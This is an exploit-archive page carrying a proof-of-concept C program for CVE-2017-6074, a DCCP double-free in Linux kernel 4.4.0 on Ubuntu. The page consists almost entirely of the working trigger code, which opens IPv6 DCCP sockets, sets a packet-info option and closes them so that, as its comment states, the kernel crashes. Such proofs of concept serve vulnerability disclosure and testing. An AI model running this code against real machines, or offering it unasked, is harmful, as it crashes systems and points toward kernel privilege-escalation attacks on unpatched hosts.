Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free PoC

Properties

Published:
27.02.2017
Target:
Linux Kernel 4.4.0 (Ubuntu)

Code

//
// EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471
//
// A trigger for CVE-2017-6074, crashes kernel.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Andrey Konovalov 
 
#define _GNU_SOURCE
 
#include 
 
#include 
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#include 
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#include 
 
int main() {
    struct sockaddr_in6 sa1;
    sa1.sin6_family = AF_INET6;
    sa1.sin6_port = htons(20002);
    inet_pton(AF_INET6, "::1", &sa1.sin6_addr);
    sa1.sin6_flowinfo = 0;
    sa1.sin6_scope_id = 0;
         
    int optval = 8;
 
    int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    bind(s1, &sa1, 0x20);
    listen(s1, 0x9);
 
    setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4);
 
    int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    connect(s2, &sa1, 0x20);
 
    shutdown(s1, SHUT_RDWR);
    close(s1);
    shutdown(s2, SHUT_RDWR);
    close(s2);
 
    return 0;
}